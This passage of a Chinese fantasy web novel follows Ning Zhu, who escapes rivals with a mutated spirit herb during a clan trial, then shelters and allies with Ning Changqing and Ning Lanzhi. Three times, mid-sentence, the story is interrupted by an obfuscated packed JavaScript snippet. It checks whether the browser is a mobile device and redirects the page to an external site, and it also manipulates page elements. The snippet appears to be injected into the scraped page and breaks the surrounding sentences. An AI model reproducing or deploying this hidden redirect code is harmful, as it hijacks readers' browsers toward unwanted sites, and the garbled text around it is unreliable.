那是独属于魔兽的,由灵力汇聚而成的晶核。 低阶魔兽的兽核蕴含的灵力能被吸收炼化,同样也是某些特殊药方中不可少的一环,而高阶魔兽的兽核甚至内涵其兽的一缕精魄,更是只在世家大族之中流通的稀世珍品。 这颗兽核品相虽差,但其价值,甚至比宁竹刚刚摘下的白叶参还要略高一筹。 宁轲呼吸一滞,舞出的水蛇在空中生生转了个向,张口的巨口几乎就要叼咬住那兽核了,宁煌凌空一斩精准切断了蛇影七寸,“哗啦”一声水溅了满地。 那晶核上下颤抖着倏然炸开一圈灵力波,逼得伸手就要触碰到它的宁煌也被震退了几步。 而灵力已然不支的宁竹更是被扫荡开来,飘在空中甚至是撞到了一处凸起的石柱在堪堪稳住身形。 “小竹。” 宁轲侧过视线,他刚喊了一声,后半句话半个字节都吐不出了。 宁煌丝毫没有等待的意思,那兽核最后的本能抵抗悄然消散,宁煌反手一拍身侧石壁,借力冲上,直奔那兽核而去。 “啧!” 宁轲又怎么肯拱手相让,飞溅的水珠迅速化作利箭,宁煌只稍缓了半步,那颗兽核变落入了宁轲的手。 他脸色大喜,然而下一瞬他手腕猛地受击,只觉腕上一痛,那兽核已然脱手而出! 宁煌的身法要更快,不知何时出现在宁轲身边的人猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14393030|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一踹宁轲,把他蹬开的同时又借力直上,兽核最终还是落了他的手。 “宁竹!” 宁轲盯着他把玩兽核的身影,下意识一声喝令,可这一次无人回应。 他猛地意识到,他刚刚的注意力一直被宁煌钓着走了,而宁竹——已经很久没有回应他了。 沁出的冷汗迅速打湿了宁轲的额角衣领,他回身张望,那个被优待的异类已然跃上壁障,出了这方灵阵下的结界。 怒火骤然席卷了他全身,宁轲口头一哽,几欲呕血:“你和他是一伙的?!” 宁竹听见了,他站在边缘,居高临下地看着暴怒的宁轲撕下伪装出来的和善假面。宁竹笑了。 他把之前说给宁长青的话再次重复,平静,毫无波澜,只是纯粹的陈述。 这一次,其蕴含的潜意思更加明确。 “我不属于任何一方。” . “哈哈哈!”最先反应过来的反而是宁煌,他笑得大声,如针一般狠狠扎进了宁轲心里。 他自然不管宁轲作何反应,只抬起眼,遥遥与宁竹对视。 “有趣!宁竹,你是在有趣!”他手中的刀烈火跳动,一如他眼底燃起的战意,“跑吧,宁竹,你最好祈祷,宁轲能给你拖长一段时间。” 宁竹没再回话,他的身影消失在结界边缘。 “你个疯子!” 宁轲听到最后一句话险些没把粗口骂出来,这一趟机缘他不仅空手而归,甚至还赔进去了一颗火源珠,此时宁煌更是扬言不会放过他,宁轲牙关都快咬碎:“你不去追他?!灵植可是在他身上!” “哈!解决你很麻烦?不过顺手的事。” 宁煌话音刚落,他暴起攻来。 . 狂奔。 不顾一切地狂奔。 宁竹已然有些支撑不住,灵力的枯竭让他迈出的每一步都沉重,吞下的补气丹勉强运作着补充灵力,可每次稍稍填了一点底便又被宁竹用掉。 他不太清楚这天已经过去了多久,还有几个时辰才能迎来天黑,又有哪里能给他提供庇护。 他奔跑着,穿进树木茂盛的树林间,险些被凸起的树根绊了个踉跄。他跑了很久,或许,应该,他不记得了。 他稍微平定了下呼吸,环顾四周。 郁苍谷此行重中之重的目的已然达到,白叶参入手,且是通过灵阵获取的白叶参,不参与后期排名的分配直接归属他。 但问题是,如果宁竹现在就捏碎木牌出局,这棵白叶参是否还归属他。 宁竹不愿冒险。 那么现在就需要考虑另外的方案了。 靠躲藏待到时间结束。 或者……直接找个安全的地方,把化灵散炼成,然后马上捏碎木牌离开。 宁竹长长地出了一口浊气。 “当前出局人数:2。” 他这一口气还没出完,轩队的声音又一次凭空自他脑内响起,害他险些被哽住。 ——谁赢了? 宁竹用力抓了一下扶着的树身,粗糙的树皮扎得他指尖一阵细微的刺痛。 ……不论谁赢,他抢了灵植就跑的举动都无疑是给自己竖了敌。宁煌已经放话了会追杀,宁轲被他背叛了这一下,更是对他恨意滔天。 哈。 宁竹反手把那株灵植从手环中取了出来,然而再度落手时,宁竹的脸色变了。 寒意顺着他的掌心一路攀爬,紧紧地扼住了他的咽喉。 半晌,他唇角扬起的弧度只剩下了苦涩。 ——这株白叶参,受了环境和守护兽的影响,元素异变了。 14.再遇 宁竹看着手中的灵植。 白叶参宽大的叶片轻轻摇摆,其上脉络清晰,纤细的纹路上流淌着浅淡的蓝,于是先前高度紧张下被他所忽略的细小异常一个接一个浮出水面,仿佛是在嘲笑他的拼命到头来是竹篮打水。 宁竹苦笑一声。 白叶参性温偏热,是土元素灵植,生长地喜火灵气……他怎么把这些最基础的灵植常识都忘了? 这株白叶参的生长地是瀑布泉底,那里本身便是水灵气极其浓郁的地方,如果不是元素异变,理论上根本不可能长出白叶参。 他复盘着自己在行动中暴露出的问题,长舒一口气。 再有……他接触到白叶参的时候,明明最先感觉到的是冷。 冷意分明刷洗过他的感知、压下被烈火包裹时皮肤灼烧的疼痛,而这样明显得不能再明显的异样,他居然一点都没有注意到。 ……太冲动了。 宁竹把那株失去了意义的水属性白叶参塞回手环中,不忘认真地总结自己的问题所在。 诚然,此前十数年的年岁里宁竹都不曾遇到过这种危机时刻,但这种错误未免太不应该。宁竹摇了摇头。宁轲那边已经撕破了脸,结下的梁子更没挽回的可能,事情已经发生,苛责当时的自己也没有意义。 就事论事,点到为止。宁竹不打算在这件事上过多纠缠,他摩挲着手环,思维往另一个方向延伸。 这株灵植也并非毫无意义,至少,它是个不错的筹码。 用一株变异的、可直接带走的灵植换一株普通的灵植,这买卖任谁看都是血赚的生意,只是问题是,他能找谁换? 他翻手拿起木牌,此时竟已是接近傍晚,昼夜转换的时间并不固定,宁竹又强撑着自己灵力见底的身体,抓着树干靠纯粹的体能上了树。 这一时半会宁竹也来不及去找躲藏地了,借着郁苍谷夜晚那半点光不见的黑遮掩身形是个不错的方法,他找了几根伸出的树枝,试探了从下看不太能看得见的角度,这才倚着树干疲惫地盘坐下。 嚣叫着酸胀的身体拖着他的意识试图把他拉入梦中,宁竹咳呛一声,只阖上眼,浓郁的木灵气自然朝他涌来。 他当然可以直接入眠,把吸纳灵气的事交给自然恢复,可在成功凝源固定属性之前,那两条灵脉无时不刻在等着宁竹放松警惕,没有灵脉支撑的木灵力只会在这之中受到排挤,宁竹可不想一觉醒,自己那点堪堪留住的木灵力全散尽了。 “当前出局人数:3。” 轩队的声音又一次在脑海里响起。 这次又是谁? 宁竹下意识地想,下一秒,女人的声音再度传来。 “4。” 上下两句黏得紧,轩队这回是连前半句都省了,直接报了数。 看来其他人也急了。轩队的通知是所有人都能听到的,所以……很有可能其他人听到了这个通知,认为把竞争对手淘汰出局是可行方案,因此纷纷效仿。 这一年的郁苍谷之行,注定是无法像往年那般平和了。 . 昼夜颠倒,黑暗笼罩。 宁竹在瞬间中止了灵力的流转,汇聚而来的灵气便化作光点消散,于是宁竹眼前最后一抹亮色也消失了。 混沌般的墨色激起人类心底的不安,一时间令人呼吸艰涩。身处这样的环境中,仿佛五官都被剥离,人像是被裹进一个极小极小的茧子里,就连伸出手都需要几分勇气。 宁竹强忍着拿出照明珠的冲动,他身体微微朝后一仰,粗糙的树皮摩擦过衣物,随即硌着肌肤,带来令人安心的实感。 修炼时间太短,到夜晚降临时,宁竹也才堪堪恢复了近一半的灵力存储。 可毕竟在这一片漆黑中,牵引灵气泛起的光色未免太过明显,像个靶子一般举着喇叭高喊这里有人,为避免这种情况,宁竹只能强行中止。 接下来……就是等了。等到天亮。然后……继续赶赴具备白叶参生长条件的区域。 好在郁苍谷是个足够大的地方,只要宁轲宁煌二人没有定位他的能力,避着点走,总不会那么轻易就被撞上。 何况,他们实际也并不清楚自己会去哪里。 唯一需要担心的是,宁轲参与了草药的分配,宁长青所前往的林间是个太过广的范围,不一定好找,但宁兰之分配到的水边,就是个精准的范围了。 何况,他二人身边还有个唯宁轲马首是瞻的跟班,宁煌有和跟班们联系的手段,宁轲会没有吗? 突然意识到自己可能把人坑了的宁竹陷入沉默。 一息过后他决定当自己没意识到这回事。 问就是宁轲本来就打算把他们分开好逐个淘汰,关他一个普普通通连凝源都没有散气九段什么事。 不知道过了多久,视线里骤然亮起一点光,从极远的地方飘荡,朝着宁竹这个方向靠近。 人?还是什么? 宁竹昏昏欲睡的大脑一下清醒了,他警惕地坐直几分,视线直直盯着那团光。它飘忽不定,大抵是被附近的树木挡到了,便也时明时暗,宁竹还记得周围的环境,他紧张地看着那团光绕过耸立的树木,于是属于生物的声音也一并传来了。 脚步声。 喘气声。 ——很重。 再近一些,浅淡的血腥味在空中飘散,同类受伤的信号令得身藏黑暗中的人警惕地蹙眉。 那团光更近了,照亮了宁竹身处的这棵树底下的空地,也一并照亮了来者的脸庞。 ……宁长青? 宁竹一时间眼都瞪大了,他扶住树干,视线一寸不离地打量着宁长青。 他脸色很差,即便在照明珠那暖色的光亮照射下,都能看出他脸上苍白一片。他头发很乱,也显然无暇顾及,而衣服不少地方都被血打湿。这短短几步路,宁长青走得艰辛,四肢沉重无力。 离得足够近,宁竹清晰地闻到了过浓的血腥味,他出血很多……属于新鲜血液的味道和凝固了的血斑气味是不一样的,很有可能是他伤口没处理好,又随着这一路颠簸崩裂开来。 宁轲已经杀过来了? 宁竹脑中警报狂响。 ……不对。宁竹强迫自己冷静下来思考。不对。他又默念了一声,理智重新掌权意识。 这一路宁长青走得很慢,身上有血,还一直举着照明珠在身侧,要追踪他并不是难事。宁竹注意到光团的时候还离得很远,宁长青一路走过来,实际并没有遇到什么阻碍。 ……宁鲤不在。 难不成宁长青和宁鲤闹掰了大打出手? 这个可能性很大。宁长青的修为并不低,虽然宁鲤的修为等级并不明确,但若是宁鲤比宁长青还强,他也不会是那副一边对宁长青不屑、一边听从安排的嘴脸。 宁长青受到这么严重的伤,宁鲤大概也不会好到哪里去。 更有可能……白日里被淘汰的那三人,其中一个便是宁鲤。 他思考这一会儿,下方的宁长青俯下身,似乎在地上找寻着什么。 “……咳、这里也没有……” 他自言自语,末了又咳了几声,仿佛要把内脏都咳出来。 不大的声音在黑暗中被放大了数倍,以至于清晰地传入宁竹的耳里。 他确定了周围一片没有他要的东西便是转身就要离开,全程没有抬头往上看一眼,丝毫没有注意到就在树枝上观察着他的宁竹。 宁竹:…… 宁竹无奈地喊他:“宁长青。” 宁长青突然被点了名,反应不可谓不巨大,浑身一个激灵差点叫出声,又被喉腔里涌上来的干痒扼住了咽喉,只剩下几声狼狈的咳嗽。 这骤然的惊吓给宁长青彻底干脱力了,他腿上一软便是跌坐在地,一边低头狂咳又一边想要看清树上的人是谁,模样又可怜又好笑。 当然,宁竹友善地没有笑出声。 毕竟几个时辰前他也没比宁长青好到哪里去。 他一跃跳下树枝,在确定宁长青看清了他是谁之后,手一捞便把宁长青的照明珠收入手环中。 被照亮的环境迅速被黑暗吞噬,回归原本的混沌之中。宁长青似乎急了,他从咳嗽声里挤出来破碎的问句:“你、咳……你做、咳咳!做什么啊……咳!” 宁竹无暇回应,他手上不停,凭着记忆,几根银针迅速入体,精准地点入宁长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418745|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青的穴位,他这才堪堪止住了咳嗽。 “哪里受伤了?” 他低声飞快地问,原先根本不控制音量的宁长青晕乎乎地被带着走了,也压低了声回他:“腰、腰侧……” “嘶!” 宁长青抽了一口凉气,被召出来的水球打湿他的伤口,连带着把黏在伤口上的衣物也一并冲开,自带治愈能力的水灵力覆在他腰侧,紧接着,他听见瓶罐打开的声音,随即腰上的伤口又是一疼,疼得他脸色骤变,又不得不拼命捂住自己的嘴。 止血药在水灵力的作用下飞快地封住出血的伤口,时间太短,药量太少,更深层的伤自然来不及完全治愈,但对宁长青来说已经够了。 他大脑晕晕乎乎,后知后觉地感觉到血液被止住了,疼痛感消退,只剩下了令他有些发冷的凉意。 “你……用了什么?” “止血剂。” 空气骤然安静了几秒,好一会儿了,宁竹才听见宁长青犹犹豫豫的声音:“……这、这是可以带的吗?” 得,这是个真实诚过头的。 宁竹痛苦地闭上眼,深呼吸,依照经验判断大概是药物起效止住血了,他把宁长青从地上捞了起来,担了他一半的重量。 “走。” “去哪?” 宁长青很是疑惑,他追问宁竹。 “转移地方。”宁竹平静地回他,指尖放出的一点火灵力形成微小的焰火,勉强照亮了前方的路,“你过来的动静太明显,我担心会不会被其他人注意到。” “今天出局了三个人……去年宁煌开了这个头,今年所有人都会有这个意识,就算之前出于彼此间的血缘关系不便下手,现在也已经有四个人被淘汰了,很快所有人都会放下面子,运用规则。” “毕竟……这可是关乎未来发展资源的考核。” 宁竹突然顿了顿,他的语气放慢了,严肃而认真地向宁长青分析他们目前的情况:“而身处灵植院、天然有更多草药知识的你会是他们的眼中钉,更何况,你还受了伤。” 他低笑了声:“把你清出局,甚至还能扯什么这是让你不那么辛苦、这是为你好的大旗。” 宁竹感受到倚在他身上的人身体僵了僵。 大概,他从没经历过这些。宁长青的行为模式显然不是弱肉强食、尔虞我诈的丛林环境能养出来的。他被保护得很好。 但未免也保护得太好。 好到他直面这种竞争环境时,总透出一股格格不入的天然。 初见宁竹时几句话就交了底,哪怕他在此前和宁长青一句话都没说过,更是只在唤灵仪式上见过一面。 对宁轲也同样是极其信任,说要合作他便真的上了心,如果不是因为宁竹的关系他来迟了,或许他根本不会知道宁轲他们三人对他是如此轻视。 宁竹并不直接点出宁长青的问题,论关系,谈不上,论身份资历,宁长青必定在他之上。宁长青是聪明人。宁竹相信宁长青自己能琢磨明白他在说什么。 话语间他们已然走出去很长一段距离,而眼前不远处的巨树裂开,形成的树洞足够硕大,宁竹目测足够二人躲藏。 宁竹暗暗松了一口气。 如果是在外面,宁竹必然会绕开,毕竟这种天然的洞穴,大多数会被魔兽霸占了当窝,而在郁苍谷,这点就不用担心了。 他带着宁长青往树洞走去,把他塞进去了,又不客气地掰断几根树叶繁茂的树叶,挡在洞口,借着一点火光从里往外看,来回调整了好几下,大致是挡得差不多了,宁竹这才从手环里拿出照明珠。 微弱的光铺满整个树洞,也……照亮了宁长青呆滞的神情。 宁竹差点把手里照明珠丢出去。 “哎,不是,”宁长青揉了揉僵硬的脸,好歹神情是没那么奇怪了,但看过来的眼睛里依旧充满了茫然与不解,“你怎么做到这么熟练的啊?” 宁竹沉默。 宁竹决定还是不打击他了。 他生硬地转移话题:“先说说你吧。” “你那边发生了什么,”宁竹再次打量他甚是狼狈的模样,没忍住皱起眉头:“……怎么伤成了这样?” 15.错位 面对宁竹的问题,宁长青一反即问即答的常态,反而是目光游移了一会儿。 宁竹不追问,只是看他。半晌,宁长青似乎是下定了某种决心,他握紧了拳头,终于转过来视线:“宁鲤……宁鲤被我淘汰出局了。” 不出所料。 宁竹没打算告诉宁长青自己猜到了,他配合着稍稍露出一点惊讶,继续问:“怎么回事?” 宁长青脸上的紧张很快又转为了失落,大概对他这样的人来说,很难想明白为什么有人能那么自如地背叛搭档。 宁长青整理了下思绪,和宁竹道:“我和宁鲤按原计划的走,林子里的草药很多,宁鲤什么都要摘,我和他说别浪费那么多精力,他不肯,反而指责我不识好人心。” “可是,他摘的草药,没一个是我们这边需要的。”宁长青本就是那个分配者,他自然记得他们这边三人需要的所有草药,“我一路上停下来等了他好多次,我催他他就说都是因为我不来帮忙才这么忙,可那些又不是我们需要的啊!” “天快黑了的时候还没到我们原定的第一个目的地,我只摘了十来株,他那边少说也摘了三四十株不同的草药,所以我质疑他摘的是不是宁轲要的草药……然后,宁鲤突然变了脸色,很凶地看向我。” 说到这里时宁长青脸上浮现了几分不自然,他低下头,来回抚摸着后颈:“其实当时,我也在想自己是不是说得太过分了,我想要不要道歉缓和一下气氛,宁鲤突然就笑了,然后,就突然朝我打来。” “所以,你说中了。”宁竹一言概括。 宁长青点了点头,“我们打起来了,宁鲤是火土灵脉,主修火,克我,虽然他修为还差我一段,但他打得很快,又突然,我没防住,就被伤了一下。” “再然后……就没有了。我捏碎了他的木牌,他被淘汰出去,传送启动之前不知道从哪里掏出来一把短刀,给我捅了一下。” 说到最后半句,宁长青的表情扭曲了一下,大概是回忆起了被刀刃穿刺皮肉的痛苦,他的手下意识地扶上侧腰,好在那里包着一层水膜,指尖触碰到时,冰冷的触感便使得他从回忆里脱身。 “……他是第二个被出局的吗?” 宁竹突然问道。 “是啊。”宁长青点头,“就……快天黑那会儿。” 宁竹眉头皱起。他原以为第二个出局的会是宁轲或者宁煌中的其中一个,他们之间理应不会打那么久,既然没有分出胜负,那对宁竹而言最好的结局便是互相消耗,最后一方脱逃成功。 然而宁竹也不能排除最坏的考虑。 如果宁轲和宁煌达成某种共识,没有彼此消耗,还联手决定先搜寻宁竹夺得这株异变白叶参…… 啧。 “怎么了?”宁长青看到了宁竹凝重的神色,有些慌张地追问道,“发生什么事了吗?” “有点事,我等下再跟你说。” 他又看向宁长青:“那你怎么一路到这边来的?” 宁长青脸上的神色从紧张变成了尴尬。他咳了咳,目光又一次飘了起来。 “那个……我当时就想找点能疗伤的草药来用,然后天就黑了,天昏地暗的,我不知道踩到了谁布置的传送阵,接着就……摔到这附近来了……” ……纯倒霉的。 宁竹沉默着总结。 好在宁长青是个乐观得有点离奇的人,他摇摇头,似乎想把那些不愉快的回忆甩出去,又看向了宁竹,咧嘴一笑:“不过还好,我遇到你了。” “只是……不知道兰之那边怎么样。” 在他淘汰了宁鲤、摸着黑在周围这一片找草药时,他同样听到了宣布目前淘汰人数的脑内广播,紧挨着的两个人,很难不让人联想到“两败俱伤”“同归于尽”之类的描述。 说到宁兰之,宁长青的神态很明显出现了焦躁不安的情绪,也是,从一开始宁兰之就和宁长青是一起的,赴约迟到时也听见了,宁兰之无条件地替着宁长青说话。 他们二人的关系大概是很好的。 宁竹安抚他:“宁兰之修为应该比宁巫还高些吧,等天亮了再去找她?” 眼看宁长青点了点头,于是宁竹状作不经意地打听道:“你和兰之是亲兄妹?” 宁长青愣了下即答道:“没,我和兰之的血缘关系不近。” 他想了想,又补充:“你应该不知道吧,我是二长老的亲传弟子。唔……所以第一次见面的时候,我很惊讶你居然不认识我。” 确实压根不记人的宁竹:…… 宁竹:抱歉。 或许是因为先后遭了宁轲和宁鲤的两次背刺,反衬得帮了宁长青几次的宁竹其人格之高尚,俨然是被宁长青抬到了一个不属于他的高度,划进“可信赖的自己人”行列中。 宁长青来了精神,坐直了身子和宁竹讲述。 “兰之和我是同一年考入灵植院的,我们关系一直很好,她是整个灵植院最有天赋的弟子,要我说,她比我更合适做长老亲传!” 宁长青夸赞到朋友时语气都激动了,然而下来一个转折,他的语气落了下来,“可是兰之……她运气不太好。她是木水双灵脉。” 这下轮到宁竹疑惑了:“还有这种讲究?” “嗯,四大院的长老都是单灵脉,所选亲传弟子,也都是单灵脉。” 宁长青叹了一口气,大概是他同样不认可这种规矩:“兰之学什么都比我快,长老也说她悟性很高,一点就通,可就因为她是双灵脉,长老也可惜了好多年,但就是不肯收她做亲传。” 宁竹沉默了。 “兰之其实也很想成为长老亲传弟子,而我……我一直不敢和兰之说,我不想做这个亲传。” “我已经比兰之命好了,总不能……当着她的面,嫌弃她一直想得到的东西。” 毕竟……如果不是他拥有木元素单灵脉,这个所谓的长老亲传弟子,无论如何都轮不到他头上。 宁长青语气落寞,几度张口,还是咽下了后面半句。 . 宁竹突然有些共情宁长青和宁兰之。 一个分明不想要这个身份,却被强行放在了令他不适的位置,身边还有着个更厉害的朋友作对照组; 而另一个分明天赋更佳,却因为一点运气而被拒之门外,只能看着身边不求上进的朋友得到自己想要的东西。 他又不禁想:这算什么? 只看外在条件便把人放在对应的位置上,无视一个活生生的人的意愿,这也是宁家传统吗。 原先他和宁长青的话只是安慰,现在宁竹决定把这件事落地:“我们天亮之后去找宁兰之。” “好!” 宁长青的眼神亮了几分,他拍了拍自己脸,物理驱散脸上的落寞。 “哎,等下,宁竹,你怎么也搞成这个鬼样子?” 他这才发觉站在他对面的人同样满身尘土,模样勉强也就比他好一些。 宁竹笑了笑:“这就是我接下来要说的。” “我和宁轲发现了一处灵阵,破阵后,我们发现了一株灵植,宁轲想去摘,接着被守护兽攻击了。”宁竹简明扼要,“一直埋伏在灵阵附近的宁煌也掺了进来,和宁轲打起来后,宁轲叫我去摘灵植。” 短短几句话给宁长青听得目瞪口呆,他追问:“然后呢?” “我摘了灵植就跑了,宁轲被宁煌缠着,一时也追不上我。” 宁长青:? 宁长青:“等会、等会儿,你中间是不是跳了很多东西?郁苍谷什么时候有守护兽了?” 听他这么说,反而是宁竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419943|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪地看他:“你不知道?我还打算问你来着。” 宁长青茫然地再度摇头。他又问:“那先不说那个,你怎么绕过守护兽摘下灵植的?又怎么从他们两个手里跑出来的?” “取巧。”宁竹简单两个字带了过去,“守护兽最后被宁煌斩杀,掉落了兽核,他俩被兽核吸引了,我就借机跑。” 宁长青:“……你真的没有在说笑吗?” 他的表情实在太生动,语气分明听上去并没有太大的情绪波动,配合上表情颇有喜剧效果,以至于宁竹笑出声了。 宁竹手一翻,那株异变的白叶参就落入手中。 “哇……”宁长青脸上浮现出替朋友高兴的神色,借着照明珠的光,宁竹可以肯定他的眼底没有任何的杂念,“这个不用上交,你一定一定藏好,之后不要再拿出来了……不然很危险。” 这种道理宁竹自然是懂的。他点头变算是回应了宁长青的好心提醒,接着他问:“宁长青,你有没有……非变异的白叶参?” “嗯?”宁长青疑惑了下。 他的卷轴宁竹看过,也是在他的卷轴上,宁竹确信了郁苍谷有白叶参的存在,何况他和宁鲤走的方向,也覆盖到了白叶参的生长范围。 宁竹寄希望于能直接和宁长青交换到,但宁长青摸着手环,一番搜寻后,他遗憾地摇头:“没有。” 他找完了才想起来问:“你要那个做什么?” “有用。……大用。” 虽然已经确定了宁长青可信,但毕竟他想做的事太过离经叛道,说出来还得再解释一番,确实麻烦,他干脆便带过去了,反正宁长青对别人的事并不怎么好奇。 宁长青不出所料地“噢”了一声,没再追问。 “我们明天去找宁兰之,路上再看看能不能找到。” 宁竹在找白叶参和找宁兰之这两件事之间权衡了下,勉强算折出个折中方案。 宁长青很是感激地看了过来:“我没问题。” 但在那之前,还有不得不面对现实问题。宁长青犹豫道:“可是……郁苍谷这么大,就算我们找过去,真的能遇上吗?” 这下轮到宁竹疑惑了。 “你们……没有通讯手段?” 宁长青满脸疑惑。 “……宁煌有联系宁瑞的方式,只是他没有用上,”宁竹说,“我猜宁轲也有联系宁巫的手段——你和宁兰之一点准备都没有吗?” 宁长青沉默。 宁长青思考。 宁长青痛诉规则书:“没说啊这也!” ……有没有可能是你太实心眼。 宁竹纠结再三。他本来想提醒宁长青,但思前想后,还是觉得这种污染纯净小白花的事,干了好像容易良心不安。 他决定把这件事交给对方亲近的人干。 “唉……” 树洞外传来一声幽幽叹息,来人丝毫没有掩藏自己的意思,自然也没有被一直分心留意树洞外状况的人捕捉。 被挪开树枝露出一小条缝,来人闪身进来,又飞快地挡好了树洞。 宁兰之拍了拍衣摆沾上的尘土,迎面对上树洞里二人的目光。 “凡是没有明令禁止的,就是可以。”她跃过宁长青激动得快要溢出泪花的眼,先同宁竹对视了,“你是不是想这么说?” 宁竹并不否认:“当然。” 于是唯一一个状况没在线的人愣了又愣,宁长青“啊?”了一声,随即宁兰之从手环里拿出一个罗盘,其上的指针一动不动地指向宁长青。 宁长青试图往左边挪一挪。 指针灵敏地跟随着宁长青移动。 宁长青快哭了:“你怎么没跟我说你还有这种东西啊!” 宁兰之无语笑了:“因为你是缺心眼的笨蛋。” 16.宁家(二合一) 宁兰之吐槽完宁长青,又转头看向宁竹:“你们俩……”都伤得不轻啊。她手一挥,水灵力自然在她手中浮现。 虽然宁兰之时灵植院的人,但作为水木双修的双灵脉,医药阁基础的治愈术,她也有学习的资格。淡蓝色的光点连串成水珠,随着她手中印结变化,柔和的水灵力缠绕而上,轻轻地包裹住两人的伤口。 触及到宁长青腰侧那处除了简单止血外,没别的治愈能力的水膜时,宁兰之不动声色地撇了撇嘴,水膜被她的水线取代。 轻柔的凉意抚过伤口,很快,宁竹感觉到自己身上那些隐隐作痛的创口逐渐消散了疼感,就连小磕小碰到的几处淤青都化开了。 “舒服多了!”宁长青眉眼弯弯,显然是很习惯宁兰之的治疗,他伸展了下身体,骨骼发出正位后清脆的噼里啪啦响。 “悠着点,小治愈术只有疗伤功能,可恢复不了体能。”宁兰之收回灵力,她叹气,又看向宁竹,转而介绍道,“小治愈术,基础治疗功法,有水元素就能去功法阁兑换,你要不学一个?” 宁竹笑而不语。 “好吧。”宁兰之意会了宁竹的拒绝之意,她耸了耸肩,接着道,“你们是什么情况应该都交流过了吧?那我先说说我了。” “我和宁巫还算顺利,一路没什么矛盾,配合得还可以,摘了不少草药,天黑之后我和宁巫本来打算找个藏身的地方度过一晚,但她突然在身后朝我攻击。” 说到这里,宁兰之叹气,看向两人:“接近天黑的时候我们听到了第二个被淘汰者,结合宁巫突然攻击,我以为是你们出事了。” “但宁巫攻击了我一下就跑了,我拿了罗盘,确定长青还在谷里,便找了过来。”宁兰之又看了看宁竹:“你还在,倒是出乎我的意料。” 宁竹点头,替长青把事情补全:“第二个被淘汰的是宁鲤。” “嗯?”宁兰之顿了下,随即反应过来:“噢。所以是宁巫发现宁鲤被淘汰后,以为是我们先下手的?” 宁竹笑了笑:“不。大概是宁轲的旨意。” 宁兰之好奇了:“什么意思?” 随即,宁竹把自己和宁轲怎么发现灵阵、又怎么被宁煌截击、怎么携带灵植脱逃、最后又怎么碰上宁长青的事情简单复述一遍,听得宁兰之一双眼从震惊逐渐变成茫然、最后又变成麻木。 “……真的假的?” 宁兰之揉揉自己发僵的脸,下意识问:“那灵植呢?……不不不你别拿出来了,太危险了。”她刚问了一句,又飞快否定了。 这姑娘和宁长青一样,没什么坏心。 宁竹同样向宁兰之询问:“不要紧,这株灵植对我来说不重要。我需要非异变的白叶参,如果你有,我们可以直接做交换。” “没有。”宁兰之看都没看手环,她很笃定地摇头,“我拿到的草药分配上没有白叶参,自然没有去找。” “明白。”宁竹点了点头。 “你要白叶参,我们灵植院的库存里有啊,拿积分换就好了。”安静了半天的宁长青突然插一句。 他从宁竹问他的时候他就想说了,只是当时心急宁兰之的安危,恍惚之间顾不上说,这会儿宁兰之平安站在他身前了,他才想起来还有别的方案。 宁竹却没说话,只笑了笑。 “……你不想留痕?”宁兰之敏锐地觉察到宁竹的行事目的,她刚说话,宁竹便望了过来。 少年一双眼漆黑如墨,深不见底。 即便是在照明珠的映照下,宁兰之也分辨不清他眼底的情绪究竟是何。 “不能留。”宁竹说。 “是没积分?”宁长青还没读懂他和宁兰之交流的是什么,只权当他是兑换不起,“把异变白叶参上交给执事,会给你计算可用积分的,异变灵植能换到的积分足够你换两株白叶参了。” 宁竹笑着摇了摇头。 宁兰之拍了宁长青一下,习以为常地进行解释:“长青,无论是兑换积分还是兑换灵植,都是会产生记录的。” “那又……”怎么样? “宁竹就是不想被人查到他换了什么。” 宁长青似懂非懂,他犹豫了下:“那……那如果你信得过我们,可以把灵植给我,我去给你换,这样查到的就不是你的名字了。” 宁竹哑然失笑。怎么会有人没心眼到这种程度? 他谢绝了宁长青的好意:“可我要做的不是什么好事。长青,被查到了,你会被牵连的。” 宁兰之道:“虽然我不知道你要做什么,但只要你不牵连我们,在谷内帮一帮你,也不是不可以。” 宁竹点头,认真地感谢两人:“这就够了。” 在都经历了合作者的背叛之后,反倒是把宁竹往灵植院二人的方向推近了。三人各自敞开心扉,远比一开始那玩笑一般的结盟来得真诚。 宁兰之也清楚宁竹对内族的情况一无所知,她挨着宁长青坐下,简单地和宁竹进行信息共享:“今年郁苍谷之行,算上你,总共是十五人。目前淘汰四人,目前还剩十一人。” “嗯?”宁竹疑惑了下,“就这么点人?” 宁兰之无语地肯定了自己对宁竹的判断,她解释:“灵脉得天独厚,每年能出两个都了不起了,你还想要多少个?” “今年……就两个啊?”宁竹算了算,唤灵仪式那天,他刚到时觉醒了个火灵脉,后面还有个复测出来的被遗漏的木水灵脉,往前居然也没有? 不细想不知道,这一细思,事情就显得微妙了起来。 